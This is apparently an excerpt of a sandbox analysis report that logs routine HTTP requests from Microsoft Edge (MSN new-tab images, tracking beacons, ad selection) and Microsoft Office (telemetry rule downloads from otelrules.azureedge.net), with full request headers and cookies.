Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msG0W.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO5.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKEt.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1730996745473&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2A8240AA479562810A1E559A46E0634C&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730996745473&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=856f9a24aadd4da38b888eab403e620c&activityId=856f9a24aadd4da38b888eab403e620c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=2A8240AA479562810A1E559A46E0634C; _EDGE_S=F=1&SID=1EB50BDBC8056719017A1EEBC94C669D; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=2A8240AA479562810A1E559A46E0634C&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=41803fc760174848a869f941501f724f HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=2A8240AA479562810A1E559A46E0634C; _EDGE_S=F=1&SID=1EB50BDBC8056719017A1EEBC94C669D; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1730996745473&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2A8240AA479562810A1E559A46E0634C&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=101eaa277788f19e526338a1730996747; XID=101eaa277788f19e526338a1730996747
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730996745473&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=856f9a24aadd4da38b888eab403e620c&activityId=856f9a24aadd4da38b888eab403e620c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=1907E8B7124746EBB86F15D8765F7F10&MUID=2A8240AA479562810A1E559A46E0634C HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=2A8240AA479562810A1E559A46E0634C; _EDGE_S=F=1&SID=1EB50BDBC8056719017A1EEBC94C669D; _EDGE_V=1; SM=T; msnup=; _C_ETH=1
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
